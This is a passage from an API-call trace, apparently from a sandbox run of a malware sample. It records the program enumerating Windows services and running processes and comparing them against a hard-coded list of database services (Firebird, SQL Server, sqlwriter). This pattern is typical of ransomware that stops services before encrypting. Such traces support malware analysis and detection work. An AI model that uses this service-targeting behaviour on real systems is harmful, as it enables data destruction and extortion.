	[0167.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0167.008] lstrlenW (lpString="Schedule") returned 8
	[0167.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0167.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0167.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0167.008] lstrlenW (lpString="SecurityHealthService") returned 21
	[0167.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0167.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0167.008] lstrlenW (lpString="SENS") returned 4
	[0167.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0167.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0167.008] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0167.008] lstrlenW (lpString="ShellHWDetection") returned 16
	[0167.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0167.009] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0167.009] lstrlenW (lpString="Spooler") returned 7
	[0167.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0167.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0167.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0167.009] lstrlenW (lpString="StateRepository") returned 15
	[0167.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0167.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0167.009] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0167.009] lstrlenW (lpString="SysMain") returned 7
	[0167.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0167.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0167.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0167.009] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0167.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0167.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0167.009] lstrlenW (lpString="Themes") returned 6
	[0167.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0167.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0167.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0167.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0167.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0167.010] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0167.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.010] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0167.010] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0167.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0167.010] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0167.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0167.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0167.010] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0167.010] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0167.010] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40ab668 | out: hHeap=0x710000) returned 1
	[0167.010] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4cc
	[0167.016] Process32FirstW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0167.017] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0167.017] lstrlenW (lpString="System") returned 6
	[0167.017] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0167.018] lstrlenW (lpString="smss.exe") returned 8
	[0167.018] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.018] lstrlenW (lpString="csrss.exe") returned 9
	[0167.018] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0167.018] lstrlenW (lpString="wininit.exe") returned 11
	[0167.019] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.019] lstrlenW (lpString="csrss.exe") returned 9
	[0167.019] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0167.164] lstrlenW (lpString="winlogon.exe") returned 12
	[0167.164] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0167.165] lstrlenW (lpString="services.exe") returned 12
	[0167.165] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0167.165] lstrlenW (lpString="lsass.exe") returned 9
	[0167.165] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.166] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.166] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.166] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.166] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.166] lstrlenW (lpString="svchost.exe") returned 11
	[0167.166] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.167] lstrlenW (lpString="svchost.exe") returned 11
	[0167.167] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0167.167] lstrlenW (lpString="dwm.exe") returned 7
	[0167.167] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.168] lstrlenW (lpString="svchost.exe") returned 11
	[0167.168] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.168] lstrlenW (lpString="svchost.exe") returned 11
	[0167.168] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.169] lstrlenW (lpString="svchost.exe") returned 11
	[0167.169] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.169] lstrlenW (lpString="svchost.exe") returned 11
	[0167.169] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.169] lstrlenW (lpString="svchost.exe") returned 11
	[0167.169] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.170] lstrlenW (lpString="svchost.exe") returned 11
	[0167.170] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.170] lstrlenW (lpString="svchost.exe") returned 11
	[0167.170] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.171] lstrlenW (lpString="svchost.exe") returned 11
	[0167.171] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.171] lstrlenW (lpString="svchost.exe") returned 11
	[0167.171] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.171] lstrlenW (lpString="svchost.exe") returned 11
	[0167.172] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0167.172] lstrlenW (lpString="spoolsv.exe") returned 11
	[0167.172] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.172] lstrlenW (lpString="svchost.exe") returned 11
	[0167.172] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0167.173] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0167.173] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0167.173] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0167.173] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0167.174] lstrlenW (lpString="audiodg.exe") returned 11
	[0167.174] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0167.174] lstrlenW (lpString="Memory Compression") returned 18
	[0167.174] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0167.174] lstrlenW (lpString="taskhostw.exe") returned 13
	[0167.174] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0167.175] lstrlenW (lpString="sihost.exe") returned 10
	[0167.175] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.176] lstrlenW (lpString="svchost.exe") returned 11
	[0167.176] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0167.176] lstrlenW (lpString="taskhostw.exe") returned 13
	[0167.176] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0167.176] lstrlenW (lpString="explorer.exe") returned 12
	[0167.176] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0167.177] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0167.177] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0167.177] lstrlenW (lpString="SearchUI.exe") returned 12
	[0167.177] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0167.178] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0167.178] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0167.178] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0167.178] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0167.179] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0167.179] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0167.179] lstrlenW (lpString="cmd.exe") returned 7
	[0167.179] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.179] lstrlenW (lpString="conhost.exe") returned 11
	[0167.179] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0167.180] lstrlenW (lpString="mode.com") returned 8
	[0167.180] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0167.180] CloseHandle (hObject=0x4cc) returned 1
	[0167.180] Sleep (dwMilliseconds=0x1f4) 
	[0167.742] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x392a038
	[0167.744] EnumServicesStatusExW (in: hSCManager=0x392a038, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0167.746] GetLastError () returned 0xea
	[0167.746] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40ab8d8
	[0167.747] EnumServicesStatusExW (in: hSCManager=0x392a038, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40ab8d8, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40ab8d8, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0167.750] CloseServiceHandle (hSCObject=0x392a038) returned 1
	[0167.750] lstrlenW (lpString="AppXSvc") returned 7
	[0167.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.750] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0167.750] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0167.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0167.750] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0167.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.750] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0167.750] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0167.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0167.750] lstrlenW (lpString="Audiosrv") returned 8
	[0167.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0167.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0167.751] lstrlenW (lpString="BFE") returned 3
	[0167.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0167.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0167.751] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0167.751] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0167.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0167.751] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0167.751] lstrlenW (lpString="CDPSvc") returned 6
	[0167.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0167.751] lstrlenW (lpString="ClickToRunSvc") returned 13
